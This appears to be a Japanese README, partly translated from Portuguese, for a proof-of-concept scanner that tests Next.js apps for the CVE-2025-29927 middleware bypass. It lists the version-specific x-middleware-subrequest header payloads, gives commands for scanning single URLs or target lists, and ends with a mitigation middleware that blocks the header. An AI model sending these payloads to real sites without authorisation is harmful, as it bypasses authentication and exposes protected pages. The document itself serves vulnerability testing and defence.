
Next.js のミドルウェア脆弱性(CVE-2025-29927)を検出するための堅牢な概念実証(PoC)ツールです。
このツールは、x-middleware-subrequest ヘッダーを使用してミドルウェアに実装されたセキュリティチェックを回避できる、Next.js アプリケーションの重大な脆弱性をテストします。このエクスプロイトは、Next.js のバージョンに応じて異なる特定の悪意のあるヘッダーを含む HTTP リクエストを送信します。
調査によると、Next.js のバージョンによって異なるペイロードが存在します:
12.2 より前のバージョン:
x-middleware-subrequest: pages/_middleware
12.2 以降のバージョン:
x-middleware-subrequest: middleware
または
x-middleware-subrequest: src/middleware
(アプリケーションが src ディレクトリを使用する場合)
最新バージョン(15.x など):
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
または
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
この PoC は、これらすべてのペイロードを自動的にテストし、どのペイロードが成功したかを報告します。
# リポジトリをクローンするか、ファイルをダウンロードします
# ディレクトリに移動します
cd poc-nextjs-2025
# 必要なパッケージをインストールします
pip install -r requirements.txt
python main.py -u https://exemplo.com # 単一の URL をテストします
python main.py -f alvos.txt # ファイルから複数の URL をテストします
# 単一ターゲットの基本的なスキャン
python main.py -u https://exemplo.com
# カスタムパスで複数のターゲットをスキャン
python main.py -f alvos.txt -p /api/users,/admin,/dashboard
# より高い並行性と長いタイムアウトでスキャン
python main.py -u https://exemplo.com -t 10 --timeout 15
# 結果を JSON ファイルに保存
python main.py -u https://exemplo.com -o resultados_scan.json
スキャナーは次のように動作します:
x-middleware-subrequest ヘッダーのさまざまなバリエーションでリクエストを送信します脆弱なアプリケーションを発見した場合は、次の緩和策を適用してください:
x-middleware-subrequest ヘッダーを含むリクエストをブロックするミドルウェアを実装しますexport function middleware(request: NextRequest) {
if (request.headers.has('x-middleware-subrequest')) {
return new Response('Unauthorized', { status: 401 });
}
return NextResponse.next();
}
| オプション | 説明 |
|---|
-u, --url URL | スキャン対象のターゲット URL |
-f, --file ARQUIVO | スキャンする複数の URL を含むファイル(1行に1つ) |
-p, --paths CAMINHOS | テストするパスのカンマ区切りリスト(デフォルト: 一般的なパス) |
-t, --threads N | 並行スレッド数(デフォルト: 5) |
-o, --output ARQUIVO | 結果を JSON ファイルに保存 |
--timeout N | リクエストのタイムアウト時間(秒)(デフォルト: 10) |